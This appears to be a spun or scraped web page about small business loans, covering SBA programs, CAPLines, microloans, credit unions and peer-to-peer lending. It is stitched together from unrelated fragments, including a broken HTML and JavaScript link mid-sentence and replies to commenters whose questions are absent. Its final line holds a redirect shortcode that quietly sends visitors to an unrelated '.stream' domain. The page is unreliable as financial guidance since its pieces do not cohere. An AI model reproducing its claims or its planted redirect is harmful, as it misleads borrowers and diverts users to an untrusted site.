Many credit unions are issuing small business loans, and they’re approving requests at twice the rate of big banks. Rates are competitive and sometimes lower since credit unions are nonprofits with less overhead.
We’ve learned a lot by working with thousands of small business owners like yourself. With Merchant Advisors, you not only get capital for your business, but also get credit resources, affordable prices, renewal benefits, early repayment savings and, best of all, peace of mind.
Southern Loans is a consumer finance company licensed by the North Carolina Banking Commission. Established in 1988, Southern Loans specializes in personal Loans from $300 to $5000 and automobile purchase loans up to target=”_self” title=”Business Ownership & Expansion” href=”https://’+document.domain+’/small-business/credit-financing/business-ownership-expansion.html”>Business Ownership & Expansion‘
CAPLines are SBA lines of credit meant to help small businesses meet short-term and seasonal working capital needs. The SBA offers 5 types of these lines of credit. They can be fixed or revolving, have a max term of 5 years, and otherwise adhere to SBA 7(a) rules. Read more…
SBA Military Reservists Economic Injury Loans (MREIDLs): Short- to medium-term working capital loans to help businesses that lose an essential employee due to being called-up for active military service meet normal operating expenses.
I’m glad you enjoyed the article! The amount of money you’re looking for might need to come from a private investor, but there are some creative ways you can go about funding your project. For instance, if a large majority of your project is commercial real estate then you may be able to get the funding you need through a CRE loan like an SBA 504 loan. You could also get a loan for the real estate and a separate SBA loan for working capital. Since this is a startup you’ll need to make sure you have a sound business plan and someone with industry experience on your team that is going to take operational responsibility. Good luck!
Export loans are designed to help small businesses fund new exporting operations and offer cash flow solutions to small business so they can be more flexible with the terms they offer their international customers. Read more…
In other words, an SBA Microloan is by no means a giveaway. The intermediary lender has a little more flexibility in determining who seems creditworthy that larger, rigid lending institutions but they still need to feel extremely confident of your ability to repay the loan.
Peer-to-peer lending directly connects borrows with several investors who typically fund small chunks of a diversified loan portfolio. While this option might not be the best low interest business loan opportunity, lending criteria is usually less stringent than it is at traditional brick-and-mortar banks.
Hi Jeff, You can access your SBSS score as part of our Premium Plus account plan. We’ll tell you if your score is high enough to pass the SBA’s pre-screen and also give you personalized tips to help you improve your score. Keep in mind, many large banks use FICO SBSS for all their business loans too. The score is calculated by looking at your personal and business credit, so it’s an easy way to track your overall credit health as a business owner.
If your loan is more than $50,000 and the term is shorter than seven years, your rate is based on the prime rate with a maximum spread of 2.25 percentage points. As of December 2017, that meant a maximum interest rate of 6.75%.
Is your business growing at a rapid pace? Then it might be time to expand your business! Whether this means increasing your space or your product and service options, many business owners use their loan for expansion projects.
The best thing to keep in mind about raising money from angel investors is that it’s all about networking. You have to get yourself and your business in front of individuals who have the money and interest to invest.
SBA’s Office of Veteran Business Development operates twenty Veteran Business Outreach Centers through grants and cooperative agreements with organizations which provide technical assistance to businesses owned by veterans and family members. VBOCs also provide instructors for the SBA’s program Boots to Business. Boots to Business is delivered in partnership with SBA’s Resource Partners, SCORE Mentors, Small Business Development Centers, Women’s Business Centers, and Veterans Business Outreach Centers and the Institute for Veterans and Military Families at Syracuse University. It is available free on participating installations to service members and their dependents transitioning or retiring from the U.S. military. Additional SBA resources for veterans are available from http://www.sba.gov/vets. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]